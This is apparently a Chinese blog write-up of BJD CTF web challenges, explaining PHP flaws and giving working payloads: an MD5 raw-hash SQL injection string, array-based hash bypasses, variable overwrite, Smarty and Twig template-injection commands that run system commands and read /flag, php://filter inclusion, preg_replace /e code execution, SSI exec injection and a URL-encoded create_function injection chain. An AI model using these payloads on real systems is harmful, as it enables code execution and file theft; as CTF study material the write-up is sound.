BJD CTF web

最新推荐文章于 2024-04-14 22:20:04 发布

0xdawn

最新推荐文章于 2024-04-14 22:20:04 发布

阅读量1k

点赞数

分类专栏： CTF

本文链接：https://blog.csdn.net/weixin_43872099/article/details/105424597

版权

CTF 专栏收录该内容

13 篇文章 0 订阅

订阅专栏

Easy MD5

响应头里的hint告知了sql语句：

select * from 'admin' where password=md5($pass,true)

password=md5($pass,true)

ffifdyop这个字符串被MD5哈希了之后会变成276f722736c95d99e921722cf9ed621c，而这个字符串开头刚好是' or '6，而Mysql会把hex转为ascii解释，因此拼接之后的语句正好构成万能密码

MD5碰撞

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

payload：a[]=1&b[]=2

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

Post data：param1[]=1&param2[]=2

Mark loves cat

.git源码泄露

<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;"

变量覆盖

首先POST：$flag=flag

foreach($_POST as $x => $y){
    $$x = $y;
}

经过这一层后就变为：$$flag=flag

接下来GET：yds=flag

foreach($_GET as $x => $y){
    $$x = $$y;
}

经过这一层就变成了：$yds=$flag，也就是$yds=flag{xxxxxx}

只要没有flag参数，就会exit($yds)，就会输出flag

Payload：

GET:yds=flag
POST:$flag=flag

在这里插入图片描述

The mystery of ip

XFF头处ssti

X-Forwarded-For: {{system('ls')}}

在这里插入图片描述

X-Forwarded-For: {{system('cat /flag')}}

在这里插入图片描述

Smarty模板ssti

参考链接：https://www.jianshu.com/p/eb8d0137a7d3

index.php:
<?php
    require_once('header.php');
    require_once('./libs/Smarty.class.php');
    $smarty = new Smarty();
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
    {
        $ip=$_SERVER['HTTP_CLIENT_IP'];
    }
    elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    else
    {
        $ip=$_SERVER['REMOTE_ADDR'];
    }
    //$your_ip = $smarty->display("string:".$ip);
    echo "<div class=\"container panel1\">
                <div class=\"row\">
                <div class=\"col-md-4\">    
                </div>
            <div class=\"col-md-4\">
                <div class=\"jumbotron pan\">
                    <div class=\"form-group log\">
                        <label><h2>Your IP is : ";
    $smarty->display("string:".$ip);
    echo "            </h2></label>
                    </div>        
                </div>
            </div>
                <div class=\"col-md-4\">    
                </div>
                </div>
            </div>";
?>

Cookie is so stable

在这里插入图片描述

Twig模板注入

以前只学习过flask的ssti，其实其他的引擎也是有ssti的，参考下面这篇文章

https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig

{{7*'7'}}

输出为Hello 49，判断是Twig模板注入，且cookie中的user为注入点

Payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

在这里插入图片描述

ZJCTF，不过如此

data协议+php伪协议

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

Payload：text=data://text/plain,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

进入下一层

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

preg_match代码执行

参考链接：https://xz.aliyun.com/t/2557

Payload:next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);

EasySearch

index.php.swp源码泄露

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

如果md5(password)的前六位等于6d0bc1，就能绕过第一层

前6个字符的md5值等于6d0bc1的脚本如下：

import hashlib

for i in range(1,10000000):
    str_md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if str_md5[0:6] == '6d0bc1':
        print(str_md5)
        print(i)
        break

跑出来的结果是2020666

在这里插入图片描述

在响应头找到隐藏链接：public/e5ed736a381bd22ac070c208f645f09d80baf4be.shtml

username处ssti

username=<!--#exec cmd="ls ../"-->&password=2020666

在这里插入图片描述

访问这个链接，得到flag的目录

EzPHP

base32解码拿到源码页面1nD3x.php

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} 
?>

url编码绕过针对$_SERVER[‘QUERY_STRING’]的过滤

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

由于$_SERVER['QUERY_STRING']不会进行URLdecode，而$_GET[]会，所以只要进行url编码即可绕过

绕过/^xxx$/类型的preg_match

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

preg_match只匹配第一行，在句尾加上%0a即可绕过

绕过$_REQUEST

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}

$_REQUEST同时接受GET和POST的数据，并且POST具有更高的优先级，这个优先级是由php.ini配置文件决定的

只需要同时GET和POST同一个参数即可绕过

file_get_contents比较

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

php://input或data://传参

绕过sha1比较

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

和md5碰撞类似，当sha1的参数为数组时返回false

create_function()代码注入

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

$code、$arg可控，可用create_function()代码注入

后面的有点复杂，这里就不写了，自己也没学懂

Payload：

GET
%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);//&%66%6c%61%67[%63%6f%64%65]=create_function

POST
file=1&%64%65%62%75=1

参考链接：

https://www.gem-love.com/ctf/770.html

https://imagin.vip/?p=166#Ezphp

https://www.cnblogs.com/20175211lyz/p/12269890.html

0xdawn

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
BJD CTF web

Easy MD5响应头里的hint告知了sql语句：select * from 'admin' where password=md5($pass,true)password=md5($pass,true)ffifdyop这个字符串被MD5哈希了之后会变成276f722736c95d99e921722cf9ed621c，而这个字符串开头刚好是' or '6，而Mysql会把hex转为asc...
复制链接

扫一扫